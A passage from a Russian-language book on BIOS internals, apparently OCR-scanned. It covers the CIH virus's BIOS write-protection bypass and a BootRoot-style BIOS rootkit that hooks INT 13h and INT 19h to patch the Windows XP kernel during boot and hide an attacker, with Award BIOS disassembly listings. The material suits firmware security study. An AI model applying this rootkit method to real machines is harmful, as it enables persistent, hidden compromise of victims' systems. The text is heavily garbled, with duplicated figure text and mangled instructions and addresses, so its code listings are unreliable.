в диапазон адресов, лежащий вне диапазона адресов чипа BIOS (см. рис. 4 2 в главе 4) не будет рассматриваться как команда конфигурирования чипа BIOS, так как чип просто не ответит на обращение по адресу, находящемуся вне его диапазона адресов.
После ознакомления с информацией, представленной в выдержке из специ. фикации на чип Winbond W29C020C, вы легко догадаетесь, что процедура (см. листинг 12.10) отключает защиту против записи в чип BIOS. Эта же последовательность байтов применятся в чипах флэш-ROM производства компании Silicon Storage Technologies (SST). Но я не уверен, является ли в данное время отключение опции защиты чипа BIOS от записи стандартом JEDEC.
Из проведенного анализа работы данной версии вируса CIH можно сделать вывод, что он применим против систем на базе чипсетов Intel 440ВХ, Intel 430ТХ и Intel 440МХ5 с южным мостом Intel PIIX4. В данном контексте слово "применим" означает, что вирус разрушает содержимое BIOS этих систем. Кроме аппаратных требований определенного чипсета и южного моста, вирус предъявляет требования и к системному программному обеспечению — он будет работоспособен только в том случае, если операционная система принадлежит к семейству Windows 9х. Системы с другими чипсетами также могут быть выведены из строя, но содержание их BIOS может остаться неповрежденным. Причиной этому может быть несоответствие чипсетов требованиям к работоспособности вируса. Избирательность вируса CIH к своим жертвам не означает, что в разгаре своего распространения в период 1998 — 2000 он не представлял значительной опасности. В то время компания Intel была главным поставщиком компьютерного оборудования, и ее чипсеты применялись во многих системах. Именно поэтому в то время эпидемия вируса CIH имела столь массовый характер.
На этом исторический обзор вирусных атак против BIOS можно считать завершенным. В последующих разделах будут рассматриваться руткиты BIOS.
2.2. Захват системной BIOS
Руткит BIOS можно реализовать многими способами, один из которых и будет рассмотрен в этом разделе. Вследствие ограниченности объема данной книги, это рассмотрение не включает работоспособного эксплойта, демонстрирующего верность концепции. Тем не менее, приведенные здесь ссылки на статьи по данной теме помогут вам самостоятельно разобраться с внутрен-
Чипсет Intel 440МХ — это чипсет Intel 440ВХ, модифицированный для мобильных вычислений.
ним устройством руткита. Кроме того, следует иметь в виду, что внедрение руткита возможно не во все BIOS, просто потому, что в конкретной BIOS может не оказаться свободного пространства даже для сжатого кода руткита.
Создание руткита BIOS означает просто внедрение написанного вами кода в BIOS с целью сокрытия вашего "присутствия" в системе. Основы внедрения кода в BIOS были изложены в главе 6, где демонстрировался пример вставки постороннего кода в BIOS с помощью таблицы переходов POST. Метод, применяемый для вставки кода в этом разделе, несколько отличается от метода, изложенного в главе 6. При его использовании код внедряется не в таблицу переходов POST, а в обработчик прерываний BIOS.
Некоторые обработчики прерываний BIOS представляют собой довольно запутанные процедуры. Они инициализируются как во время исполнения кода блока начальной загрузки, так и при исполнении кода основной системной BIOS. В этом разделе будет показано, как трассировать базу данных дизассемблированного кода BIOS для Award BIOS версии 4.51 PG, чтобы найти интересные обработчики прерываний BIOS и процедуры их инициализации. В подразд. 12.2.2 будет продемонстрировано применение этого же метода к Award BIOS версии 6.00PG. Наконец, в подразд. 12.2.3 будет показано применение метода создания руткита для Award BIOS с целью создания руткитов для BIOS других поставщиков.
Данный метод основан на технологии, применяемой в рутките eEye BootRoot. Принципы работы руткита BootRoot6 очень похожи на использовавшиеся вирусами, поражавшими загрузочные сектора. Такие вирусы были широко распространены в 1990-х. Задачи этого руткита состоят в том, чтобы перехватить процесс загрузки операционной системы с помощью модифицированного загрузочного сектора. Процедура перехватчика модифицирует ядро операционной системы таким образом, чтобы скрыть присутствие удаленного злоумышленника. Как известно, загрузка ядра операционной системы Windows ХР является многоэтапным процессом. Типичный процесс загрузки операционной системы Windows ХР, установленной на жестком диске, отформатированном под файловую систему NTFS, показан на рис. 12.5. Нужно отметить, что процесс загрузки Windows ХР, установленной на жестком диске, отформатированном под файловую систему FAT32, является более сложным, и рис. 12.5 не отображает его должным образом. Тем не менее, основные принципы те же самые, что и для Windows ХР, установленной на NTFS.
Дополнительную информацию по руткиту BootRoot можно прочитать в публикации http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf.
Прерывание BIOS 19h (начальная загрузка):
BIOS читает главную загрузочную запись (MBR) - 512 байтов (первый 5 сектор жесткого диска), загружает ее по адресу 0000:7C00h, и'
проверяет, присутствует ли в конце сектора сигнатура 55h AAh.;
Если сигнатура найдена, BIOS передает управление коду MBR;
по адресу 0000:7C00h и исполняется код MBR. В противном случае, ’ BIOS ищет другое загрузочное устройство.:
Код MBR копирует себя по адресу 0000:0600b и продолжает исполнение , с этого адреса.:
:Переход к исполнению кода загрузочного сектора
i • Главная загрузочная запись ищет активный раздел в таблице разделов, । | состоящей из четырех 16-байтных записей, расположенных поi
i смещениям 1BEh, ICEh, IDEM и 1EEh от начала MBR, соответственно.
' • MBR записывает код загрузочного сектора активного раздела поверх
। собственного кода, по смещению 0000:7C00h.
: »MBR передает управление коду загрузочного сектора.
Исполнение кода загрузочного сектора;
Код загрузочного сектора загружает первые 16 секторов загрузочного | раздела (включая себя) в память по адресу 0D00:0000h.|
Исполнение продолжается с сегмента ODOOh. Это - первый этап | работы загрузчика Windows.I
Загрузчик Windows загружает файл NTLDR в сегмент 2000h и передает ему управление. До этого момента исполнение проходит в 16-разрядном реальном режиме.
।Исполнение NTLDR
| • NTLDR осуществляет переход в 16-разрядный защищенный режим.
। • NTLDR исполняет встроенный загрузчик OSLOADER.EXE, который
| переводит компьютер в 32-разрядный защищенный режим.
: * OSLOADER.EXE загружает "настоящую" операционную систему -
| ядро Windows, состоящую из ntoskrnl.exe, hal.dll, и ассоциированных | с ними зависимых компонентов.
Рис. 12.5. Этапы загрузки ядра Windows ХР
р|а рис. 12.5 показаны только основные моменты процесса загрузки. Более подробную информацию об этом процессе вы можете добыть, самостоятельно дизассемблируя соответствующий код вашей системы Windows ХР. Кроме того, много полезной дополнительной информации можно получить в документации проекта Linux NTFS по адресу http://www.linux-ntfs.org/ content/view/19/37/. Кроме этого, рекомендуется прочесть книгу Брайана Кэрриера (Brian Carrier) по цифровому криминалистическому анализу, "File System Forensic Analysis".
Возвращаясь к рис. 12.5, можно сказать, что даже представленной на нем информации достаточно, чтобы понять, что во время загрузки Windows ХР существует возможность модифицировать ядро операционной системы (файлы ntoskrnl.exe и hal.dll). Это можно сделать, "хакнув" или загрузчик Windows или же обработчики прерываний BIOS. В данном разделе будет продемонстрирован второй подход, т. е. реализация метода, похожего на руткит BootRoot, на уровне BIOS. Суть данного подхода заключается в модификации обработчиков прерываний для тех прерываний, которые могут изменить ядро операционной системы его загрузки или в ходе этого процесса. На рис. 12.6 и 12.7 показано практическое применение этого приема на примере прерывания I3h.
На рис. 12.8 и 12.9 показано практическое применение этого приема на примере прерывания 19Н.
; Пример чтения сектора жесткого диска:mov ah, 02h ; Вызов прерывания для ; чтения сектораmov al, 1; Один секторmov сх, 01 h; Читать сектор 1 цилиндра 0movdx, 80h; Читать сектор с HDDmov bx, 0;mov es, bx; Задаем сегмент назначенияmov bx, 7C00h ; Задаем смещение назначения; Теперь сектор находится в памяти : по адресу 0000:7C00h; Пример чтения сектора жесткого диска:mov ah, 02h ; Вызов прерывания для ; чтения сектораmov al, 1; Один секторmov сх, 01 h; Читать сектор 1 цилиндра 0movdx, 80h; Читать сектор с HDDmov bx, 0;mov es, bx; Задаем сегмент назначенияmov bx, 7C00h ; Задаем смещение назначения; Теперь сектор находится в памяти : по адресу 0000:7C00hОбработчик прерывания 13h до модификации руткитомОбработчик прерывания 13h до модификации руткитомОбработчик прерывания 13h Чтение секторов в указанный буфер памяти, используя. набор команд АТА (чтение/запись в порт ввода/вывода)Обработчик прерывания 13h Чтение секторов в указанный буфер памяти, используя. набор команд АТА (чтение/запись в порт ввода/вывода)|/ Загрузка } ; секторов с \ у диска в RAM|/ Загрузка } ; секторов с \ у диска в RAMII
; Пример чтения сектора жесткого диска:
mov ah, 02h ; Вызов прерывания для ; чтения сектора
mov al, 1; Один сектор
mov сх, 01 h; Читать сектор 1 цилиндра 0
movdx, 80h; Читать сектор с HDD
mov bx, 0;
mov es, bx; Задаем сегмент назначения
mov bx, 7C00h ; Задаем смещение назначения
; Теперь сектор находится в памяти : по адресу 0000:7C00h
; Пример чтения сектора жесткого диска:
mov ah, 02h ; Вызов прерывания для ; чтения сектора
mov al, 1; Один сектор
mov сх, 01 h; Читать сектор 1 цилиндра 0
movdx, 80h; Читать сектор с HDD
mov bx, 0;
mov es, bx; Задаем сегмент назначения
mov bx, 7C00h ; Задаем смещение назначения
; Теперь сектор находится в памяти : по адресу 0000:7C00h
Обработчик прерывания 13h до модификации руткитом
Обработчик прерывания 13h до модификации руткитом
Обработчик прерывания 13h Чтение секторов в указанный буфер памяти, используя
. набор команд АТА (чтение/запись в порт ввода/вывода)
Обработчик прерывания 13h Чтение секторов в указанный буфер памяти, используя
. набор команд АТА (чтение/запись в порт ввода/вывода)
|/ Загрузка } ; секторов с \ у диска в RAM
|/ Загрузка } ; секторов с \ у диска в RAM
I
I
Рис. 12.6. Принцип работы исходного обработчика прерывания 13h
Обработчик прерывания 13h после модификации руткитом
Модифицированный обработчик прерывания 13h
; Пример чтения сектора с жесткого диска:
mov ah, 02h ; Вызов прерывания для ; чтения сектора с диска
mov al, 1; Один сектор
mov сх, 01 h; Читать сектор 1 цилиндра 0
mov dx, 80h; Читать сектор с HDD
movbx.O;
mov es, bx;Задаемсегмент назначения
mov bx, 7C00h ; Задаем смещение назначения
Чтение секторов в указанный буфер памяти, используя набор команд АТА (чтение/запись в порт ввода/вывода). Сохранить адреса секторов, имеющих отношение к ОС. Если читаемые секторы содержат код ядра ОС, они модифицируются до возврата из прерывания.
I /Загрузка 1 / секторов
1 в RAM
J1Изменение
X\секторов
1\в буфере
|\^ памяти
; Теперь сектор находится в памяти ; по адресу 0000:7C00h
Рис. 12.7. Принцип работы модифицированного обработчика прерывания 13h
Обработчик прерывания 19h до модификации руткитом
Обработчик прерывания 19hОбработчик прерывания 19hЧтение MBR с жесткогоЧтение MBR с жесткого; Пример начальной загрузки:int 19h; К этому моменту BIOS уже ; передала управление.; Обработчик прерывания 19h;передает управление; начальному коду ОС. Иногда ; это еще не сама полноценная; ОС, а ее загрузчик.; Пример начальной загрузки:int 19h; К этому моменту BIOS уже ; передала управление.; Обработчик прерывания 19h;передает управление; начальному коду ОС. Иногда ; это еще не сама полноценная; ОС, а ее загрузчик.диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача управления этому коду, начинающему исполнение ОС.диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача управления этому коду, начинающему исполнение ОС.ЗагрузочныеЗагрузочныеустройстваустройства; Загрузка в память I кода загрузочного \сектора/МВП; Загрузка в память I кода загрузочного \сектора/МВП
Обработчик прерывания 19h
Обработчик прерывания 19h
Чтение MBR с жесткого
Чтение MBR с жесткого
; Пример начальной загрузки:
int 19h
; К этому моменту BIOS уже ; передала управление.
; Обработчик прерывания 19h
;передает управление
; начальному коду ОС. Иногда ; это еще не сама полноценная
; ОС, а ее загрузчик.
; Пример начальной загрузки:
int 19h
; К этому моменту BIOS уже ; передала управление.
; Обработчик прерывания 19h
;передает управление
; начальному коду ОС. Иногда ; это еще не сама полноценная
; ОС, а ее загрузчик.
диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача управления этому коду, начинающему исполнение ОС.
диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача управления этому коду, начинающему исполнение ОС.
Загрузочные
Загрузочные
устройства
устройства
; Загрузка в память I кода загрузочного \сектора/МВП
; Загрузка в память I кода загрузочного \сектора/МВП
Рис. 12.8. Принцип работы первоначального обработчика прерывания 19h
Обработчик прерывания 19h после модификации руткитом
; Пример начальной загрузки:Int 19h; К этому моменту BIOS уже ; передала управление.; Обработчик прерывания 19h;передает управление; начальному коду ОС. Иногда ; это еще не сама полноценная; ОС, а ее загрузчик.; Пример начальной загрузки:Int 19h; К этому моменту BIOS уже ; передала управление.; Обработчик прерывания 19h;передает управление; начальному коду ОС. Иногда ; это еще не сама полноценная; ОС, а ее загрузчик.Модифицированный обработчик прерывания 19h Чтение М BR с жесткого диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача ф. управления по этому адресу.Модификация загрузчика ОС в памяти таким образом, чтобы он вызывал посторонни код. Этот посторонний код модифицирует ядро, скрыв присутствие руткита. Затем управление передается модифицированному загрузчику ОС.Модифицированный обработчик прерывания 19h Чтение М BR с жесткого диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача ф. управления по этому адресу.Модификация загрузчика ОС в памяти таким образом, чтобы он вызывал посторонни код. Этот посторонний код модифицирует ядро, скрыв присутствие руткита. Затем управление передается модифицированному загрузчику ОС.j^xj^xЗагрузочные устройстваЗагрузочные устройства\\Загрузка в память кода загрузочного сектора/М В RМодификация \ ,-. загрузчика ОС вW X RAMЗагрузка в память кода загрузочного сектора/М В RМодификация \ ,-. загрузчика ОС вW X RAM
; Пример начальной загрузки:
Int 19h
; К этому моменту BIOS уже ; передала управление.
; Обработчик прерывания 19h
;передает управление
; начальному коду ОС. Иногда ; это еще не сама полноценная
; ОС, а ее загрузчик.
; Пример начальной загрузки:
Int 19h
; К этому моменту BIOS уже ; передала управление.
; Обработчик прерывания 19h
;передает управление
; начальному коду ОС. Иногда ; это еще не сама полноценная
; ОС, а ее загрузчик.
Модифицированный обработчик прерывания 19h Чтение М BR с жесткого диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача ф. управления по этому адресу.
Модификация загрузчика ОС в памяти таким образом, чтобы он вызывал посторонни код. Этот посторонний код модифицирует ядро, скрыв присутствие руткита. Затем управление передается модифицированному загрузчику ОС.
Модифицированный обработчик прерывания 19h Чтение М BR с жесткого диска, загрузочного сектора с дискеты, или загрузочного сектора с другого загрузочного устройства, его загрузка в память по адресу 0000:7C00h и передача ф. управления по этому адресу.
Модификация загрузчика ОС в памяти таким образом, чтобы он вызывал посторонни код. Этот посторонний код модифицирует ядро, скрыв присутствие руткита. Затем управление передается модифицированному загрузчику ОС.
j^x
j^x
Загрузочные устройства
Загрузочные устройства
\
\
Загрузка в память кода загрузочного сектора/М В R
Модификация \ ,-. загрузчика ОС в
W X RAM
Загрузка в память кода загрузочного сектора/М В R
Модификация \ ,-. загрузчика ОС в
W X RAM
Рис. 12.9. Принцип работы модифицированного прерывания 19h
В следующих двух подразделах основное внимание уделяется способу для определения местонахождения обработчиков прерываний 13Н и I9h в двоичном файле BIOS. Прерывание I3h обрабатывает деятельность жесткого диска. Особый интерес для разработчика руткита представляет процедура для загрузки секторов диска. Прерывание I9h представляет собой загрузчик операционной системы, который загружает код операционной системы в RAM и передает ему управление, начиная исполнение операционной системы. Хотя объяснение ведется на примере Award BIOS, излагаемые принципы применимы и к BIOS других поставщиков. Однако серьезной проблемой с BIOS Других поставщиков является недостаток способов и инструментов для внесения модификаций в пригодный к использованию двоичный файл BIOS. Что касается Award BIOS, то методы ее модификации хорошо изучены, а инструментальные средства для этой цели можно легко найти в Интернете.
Захват обработчиков прерываний Award BIOS 4.51 PG
Двоичный файл BIOS, изучаемый в этом подразделе, называется vd30728.bin. Эго — BIOS для материнской платы Iwill VD133, выпущенная в 2000. Данный двоичный файл Award BIOS основан на коде Award BIOS 4.5IPG.
Он доступен для скачивания по адресу http://www.iwill.net/product legacy2.asp?na=VD133&SID=32&MID=26&Value=60. Файл упакован в са- мораспаковывающийся архив vd30728.exe.
В архитектуре х86 существует два типа прерываний — аппаратные и программные. Разница между этими видами прерываний незначительна. Сигналы аппаратных прерываний контроллер PIC (programmable interrupt controller программируемый контроллер прерываний) пропускает к линии прерываний процессора согласно их приоритету. Для программных прерываний такого механизма приоритетов не существует.
Прерывания I3h и I9h являются программными прерываниями. Тем не менее, чтобы получить полное представление о процессе обработки прерываний BIOS, необходимо проследить процесс инициализации прерываний, начиная с инициализации аппаратных прерываний. В большинстве случаев код BIOS отключает механизм обработки прерываний до тех пор, пока не завершится процесс инициализации механизма аппаратных прерываний. Краткий обзор прерываний BIOS приведен в табл. 12.1.
Таблица 12.1. Векторы прерываний
Номер прерывания (Шестнадцатеричный формат)
Описание
00-01
Обработчики исключений
02
Немаскируемое прерывание (NMI — nonmaskable interrupt)
03-07
Обработчики исключений
08
Запрос прерывания (IRQ) 0; системный таймер
09
IRQ 1; клавиатура
0А
IRQ 2; перенаправлен на IRQ 9
ОВ
IRQ 3; последовательный порт 2, т. е. СОМ2/СОМ4
ОС
IRQ 4; последовательный порт 1, т. е. СОМ1/СОМЗ
0D
IRQ 5; зарезервирован/звуковая плата
0Е
IRQ 6; контроллер гибких дисков
0F
IRQ 7; параллельный порт, т. е. LPT1
10-6F
Программные прерывания
70
IRQ 8; часы реального времени___
71
IRQ 9; перенаправленный IR21__
Таблица 12.1 (окончание)
Номер прерывания (Шестнадцатеричный формат)
Описание
72
IRQ 10; зарезервирован
73
IRQ 11; зарезервирован
74
IRQ 12; мышь PS/2
75
IRQ 13; математический сопроцессор
76
IRQ 14; привод жесткого диска
77
IRQ 15; зарезервирован
78-FF
Программные прерывания
Аппаратные запросы прерываний к процессору (IRQ) контролируются контроллером PIC. Его необходимо инициализировать до того, как в системе будет разрешено какое-либо прерывание. В файле BIOS vd30728.bin контроллеры PIC инициализируются кодом блока начальной загрузки (листинг I2.l I).
!истинг 12,11. Инициализация контроллера РЮ
F000:E12C
; Инициализируются различные чипы...
F000:E12C
F000:E12C
Включая контроллер DMA (8237), контроллер прерываний (8259), счетчик/таймер
(8254)
F000:E12C
F000:E12F
F000:E131
F000:E131
movax, OFOOOh
movds, ax
assume ds:FOOD mov si, 0F568h
; ds = FOOOh
; ds:si(F000:0F568h) указывает
на
F000:E131
F000:E134
mov
ex, 24h
; значения смещений.
; Нужно запрограммировать 24h
элемента,
F000:E137
F000:E138 FOOD:El39 F000:E139
F000:E139
nop
cld
next_outport_word:
; Инициализируется все, за исключением ; регистров страниц DMA.
630
Часть IV. Внесение изменений в код BlQs
F000:E139
lodsw
F000:E13A
mov dx, ax
F000:E13C
lodsb
F000:E13D
out dx, al
F000:E13E
jnp short $+2
; Задержка.
F000:E140
jirp short $+2
; Задержка.
F000:E142
loop next_outport_word
; Повторяем цикл.
F000:F568
dw 3B8h
; Адрес порта (возможно контроллер IDE)
F000:F56A
db 1
; Значение для записи.
F000:F5AD
dw 2 Oh
; Контроллер прерываний.
F000-.F5AF
db llh
; Ведущий PIC инициализируется
; командой ICW1;
F000:F5AF
; Требуется команда ICW4.
F000-.F5B0
dw 21h
; Контроллер прерываний.
F000:F5B2
db 8
; На ведущий PIC ICW2; указываем на 8й
F000:F5B2
; вектор прерывания для IRQ
; в основном PIC.
F000:F5B3
dw 21h
; Контроллер прерываний.
F000:F5B5
db 4
; Ведущий PIC ICW3; IRQ2 соединенный с
F000:F5B5
; ведомым PIC.
F000:F5B6
dw 21h
; Контроллер прерываний.
F000:F5B8
db 1
; Ведущий PIC ICW4; режим 8086.
F000:F5B9
dw 21h
; Контроллер прерываний.
F000:F5BB
db OFFh
; OCW1: отключаем все IRQ
F000:F5BB
; в ведущем PIC.
F000:F5BC
dw OAOh
; Контроллер прерываний.
F000:F5BE
db llh
; Ведомый PIC ICW1; будет
F000:F5BE
; посылать ICW4.
F000:F5BF
dw OAlh
; Контроллер прерываний.
F000:F5Cl
db 70h
; Ведомый PIC ICW2;
F000:F5Cl
; указываем на вектор прерывания 7Oh
F000:F5Cl
; IRQ в подчиненном PIC.
F000:F5C2
dw OAlh
; Контроллер прерываний.
f000:F5C4
db 2
; Ведомый PIC ICW3;
F000:F5C4
; номер ведомого - 2.
F000:F5C5
dw OAlh
; Контроллер прерываний.
f000:F5C7
db 1
; Ведомый PIC ICW4: 8086.
f000:F5C8
dw OAlh
; Контроллер прерываний.
F000:F5CA
db OFFh
; 0CW1: отключаем все IRQ
fq00:F5CA
; в ведомом PIC.
Отслеживание инициализации контроллера PIC в дизассемблированном листинге BIOS позволяет найти процедуру инициализации прерываний, которая ссылается на конкретные элементы таблицы векторов прерываний. Каждый вектор прерывания содержит 32-битный указатель (в формате segment:address) на обработчик соответствующего прерывания (ISR11). Какая связь между инициализацией контроллера PIC и инициализацией прерываний? До завершения инициализации контроллера PIC все прерывания (за исключением немаскируемого прерывания) запрещены. Установив местонахождение процедуры обработчика прерываний, ее можно модифицировать с помощью различных методов, таких как, например, наложение заплатки для создания обхода.
Инициализация контроллера PIC кодом начальной загрузки, показанная в листинге 12.11, представляет собой нормальную процедуру инициализации контроллера PIC с помощью команд icwi-icw4. После завершения инициализации контроллер переводится в операционный режим (Operating Mode), в котором он воспринимает команды ocwi-ocw3. Процедура инициализации контроллера PIC, представленная в листинге 12.11, завершается командой °cwi, блокирующей все линии IRQ в ведомом контроллере.
Примечание
Учебные пособия по работе с контроллером PIC можно найти на многочисле ных сайтах в Интернете. В частности, краткое, но достаточно информативн Н описание принципов инициализации контроллера PIC можно найти на сайтах °6
http://www.beyondlogic.org/interrupts/interupt.htm,
http://docs.huihoo.com/help-pc/hw-8259.html,
и http://www.thesatya.com/8259.html.
Кроме того, читателям, не владеющим английским языком, можно рекомендовать прочесть книгу М. Гука "Шины PCI, USB и FireWire. Энциклопедия"'4. '
Анализ кода, представленного в листинге 12.11, позволяет сделать вывод о том, что на данном этапе процессор не обслуживает никаких прерываний потому что на ведущий и ведомый контроллеры PIC были направлены команды ocwi, временно отключившие все линии IRQ. Но немаскируемое прерывание соединено напрямую с процессором, и ничто не может помешать его возникновению.
Перейдем к рассмотрению следующего этапа инициализации механизма прерываний в текущем двоичном коде BIOS — инициализации 16-битных векторов прерываний. В рассматриваемой реализации BIOS соответствующий код находится в восьмом элементе таблицы переходов систем ной, BIOS. Соответствующий фрагмент дизассемблированного кода показан в листинге 12.12. Расшифровка сокращений, применяемых в листинге, приведена в сноске15.
Листинг 12.12. Инициализация векторов прерываний в системной BIOS vd30728.bin?
ЕООО: 61С2 Begin_EOOO_POST_Jirp_Table
Е000:61С2 POST_Jnp_Tbl_Start dw offset POST_1S ; ...
E000:61C2; Восстанавливаем флаг горячей загрузки.
E000:61D0 dw offset P0ST_8SEOOO:61D0EOOO:61D0E000:61D0E000:61D0 dw offset P0ST_8SEOOO:61D0EOOO:61D0E000:61D0;1. Инициализируем векторы прерывании
E000:61D0 dw offset P0ST_8S
EOOO:61D0
EOOO:61D0
E000:61D0
E000:61D0 dw offset P0ST_8S
EOOO:61D0
EOOO:61D0
E000:61D0
;для обработки прерывания IRQ и
;другие векторы прерываний.
;2. Инициализируются "сигнатуры"
Гук М. "Шины PCI, USB и FireWire. Энциклопедия"; СПб., "Питер", 2005.
Ivect — interrupt vector — вектор прерывания.
ISR — in-service register — регистр обслуживаемого прерывания. Во время цикла подтверждения (INTA) в регистре устанавливается бит, соответствующий наиболее приоритетному запросу и, соответственно, формируемому вектору прерывания.
EOI — end of interrupt — конец прерывания.
IRR — interrupt request register — регистр запроса прерывания в PIC.
g000:61D0g000:61DOgOOO:61DOg00O:61DOg000:61D4 dw offset POST_10SEOOO:61D4g000:61D4g000:61D0g000:61DOgOOO:61DOg00O:61DOg000:61D4 dw offset POST_10SEOOO:61D4g000:61D4eq00:61D4eq00:61D4; применяемые для распаковки компонентов
g000:61D0
g000:61DO
gOOO:61DO
g00O:61DO
g000:61D4 dw offset POST_10S
EOOO:61D4
g000:61D4
g000:61D0
g000:61DO
gOOO:61DO
g00O:61DO
g000:61D4 dw offset POST_10S
EOOO:61D4
g000:61D4
eq00:61D4
eq00:61D4
; BIOS расширения.
;3. Инициализируется контроллер
; управления питанием.
; Обновляются флаги, область данных
; BIOS и разрешается прерывание.
; Примечание: В данный момент линии IRQ
; все еще заблокированы.
; Вызываются проверки ; POST ISA (дальше).; Вызываются проверки ; POST ISA (дальше).E000:61F8 dw offset Start_ISA_POSTs
; Вызываются проверки ; POST ISA (дальше).
; Вызываются проверки ; POST ISA (дальше).
E000:61F8
E00Q:61F8 End_EOOO_POST_Jmp_Table
EOOO:17B8
POST_8S proc near; . . .
E000:17B8
E000:17B9
cli
mov
ax,
OFOOOh
EOOO:17BC
mov
ds,
ax
E000:17BE
E000:17BF
cld
xor
di,
di
E000:17Cl
mov
es,
di
EOOO:17C3
assume
- es:
:nothing
EOOO:17C3
mov
ax,
OFOOOh
EOOO:17C6
shl
eax,
. lOh
EOOO:17CA
mov
ax,
offset
fallback_ivect_handler
E000:17CD
mov
ecx,
. 120
; eax = F000:E7D0h
; Инициализируем 120 векторов прерываний
EOOO:17D3
rep stosd
; Инициализируем "fallback ivect"
E000:17D6
mov
ax,
offset
PIC_ISR_n_IRR_HouseKeeping
E000:17D9
mov
di,
140h
; Обработчик EOI
; Вектор прерывания 50h
E000.-17DC
E000:17DE
stosd mov
ex,
32
; Первые 32 прерывания
E000:17El
mov
ax,
OFOOOh
EOOO:17E4
mov
si,
offset
ivedt_start
E000:17E7
xor
di,
di
; es:di = 0000:0000h
E000:17E9
xchg
bx,
bx
E000:17EB
E000;17EC
E000:17EC
E000:17EC
E000:17ED
nop
repeat: movsw
stosw
; "Устанавливаем" смещение
; вектора зарезервированного прерывания
; "Устанавливаем" сегмент
634
Часть IV. Внесение изменений в код Biqr
; вектора
■—-—.
зарезервированного прерывания
Е000:17ЕЕ
loop
repeat
E000:17F0
cnp
word ptr [si-2], 0
E000:17F4
jnz
short last_iveet_not_0
E000:17F6
mov
word ptr es:[di-2], 0
E000:17FC
E000:17FC
last_ivect_not_0:
; . . .
E000:17FC
mov
ex, 8
; Заполняем векторы прерываний
E000:17FC
; IRQ8-IRQ15
E000:17FF
mov
si, offset ivect_70h
E000:1802
mov
di, ICOh
; Вектор прерывания IRQ8
E000:1805
xchg
bx, bx
E000:1807
nop
E000:1808
E000:1808
repeat-
; . . .
EOOO:1808
movsw
E000:1809
stosw
E000:180A
loop
repeat—
E000:180C
mov
di, 180h
E000:180F
mov
ecx, 8
EOOO:1815
xor
eax, eax
EOOO:1818
rep stosd
E000:186F
retn
E000:186F
POST_8S endp
F000:E7D0
fallback—ivect_handler:
; . . .
F000:E7D0
push
ds
F000:E7Dl
push
ax
F000:E7D2
push
ex
F000:E7D3
mov
ax, 40h
F000:E7D6
mov
ds, ax
; ds = сегмент BDA
F000:E7D8
jmp
no_pending_ISR
F000:EF6F
; Читает ISR и генерирует EOT для PIC по мере надобности
F000:EF6F
F000:EF6F
PIC_ISR_
_n_IRR_HouseKeeping proc
far ; ...
F000:EF6F
push
ds
F000:EF70
push
ax
F000:EF71
push
ex
F000:EF72
mov
ax, 40h
F000:EF75
mov
ds, ax
F000:EF77
assume ds znothing
F000:EF77
mov
al, OBh
; Команда для чтения ISR.
F000:EF79
out
20h, al
; Контроллер прерываний, 8259A
F000:EF79
; Главный PIC
FOOOzEF7B
out
OEBh, al
FOOO:EF7D
in
al, 20h
; Читаем содержимое ISR (Ведущий PIC)
F000:EF7F
out
OEBh, al
F000:EF81
mov
ah, al
F000:EF83
or
al, al
F000zEF85
jz
short no_pending_ISR
F000:EF87
test
al, 100b
FOOOzEF89
jz
short not.
_slave_PIC_interrupt
F000:EF8B
mov
al, OBh
; Читаем содержимое ISR.
F000:EF8D
out
OAOh, al
; Адрес для команд управления
F000:EF8D
; и инициализации PIC 2 —
F000:EF8D
; аналогичен адресу 0020 для PIC I16
F000:EF8F
out
OEBh, al
F000zEF91
in
al, OAOh
; Адрес для команд управления
; и инициализации PIC 2 —
; аналогичен адресу 0020
; для PIC 1
F000:EF93
out
OEBh, al
F000zEF95
mov
cl, al
F000:EF97
or
al, al
F000zEF99
jz
short not.
_slave_PIC_interrupt
FOOO:EF9B
in
al, OAlh
; Контроллер прерываний
; №2, 8259А.
F000zEF9D
out
OEBh, al
FOOO:EF9F
or
al, cl
; Блокировать линию IRQ
; для обслуживаемого
F000zEF9F
; в данный момент прерывания?
FOOOzEFAI
out
OAlh, al
; Контроллер прерываний №2, 8259А
FOOO:EFA3
out
OEBh, al
F000:EFA5
mov
al, 20h
FOOO:EFA7
out
OAOh, al
; Выводим E0I
F000:EFA9
jnp
short output_End_0f_Interrupt
FOOOzEFAB
FOOOzEFAB
not_slave_PIC_interrupt zr ...
FOOOzEFAB
in
al, 21h
; Контроллер прерываний, 8259А
FOOO:EFAD
or al, ah
; Блокировать линию IRQ
FOOD:EFAD
F000:EFAF
out OEBh, al
; для обслуживаемого
; в данный момент прерывания?
F000:EFBl
F000:EFBl
and al, 11111011b
; Активизируем линию
; подчиненного PIC
F000:EFB3
F000:EFB5
out 21h, al
; Контроллер прерываний, 8259А
F000:EFB5
F000:EFB5
F000:EFB7
output_End_Of_Interrupt:
mov al, 2Oh
out OEBh, al
,• • .
F000:EFB9 F000:EFBB FOOO:EFBD
out2Oh, al
jnp short exit
; Контроллер прерываний, 8259А
FOOO:EFBD FOOO:EFBD FOOO:EFBF
no_pending_ISR: mov ah, OFFh
,...
FOOO:EFBF FOOO:EFBF FOOO:EFC3 F000:EFC4 F000:EFC5 F000:EFC6
F000:EFC6
F000:EFC6
exit:
mov ds:6Bh, ah
pop ex
pop ax pop ds assume ds:nothing iret
PIC_ISR_n_IRR_HouseKeeping endp
F000:FEE3 ivect_start
dw offset fallback_ivect_handler
F000:FEE3
FOOO:FEES
dw
offset
fallback_ivect_handler
F000:FEE7
dw
offset
sub_F000_E2C3
F000:FEE9
dw
offset
fallback_ivect_handler
F000:FEEB
dw
offset
fallback_ivect_handler
FOOO-.FEED
dw
offset
sub_F000_FF54
F000:FEEF
dw
offset
sub_F000_8008
F000:FEFl
dw
offset
fallback_ivect_handler
F000:FEF3
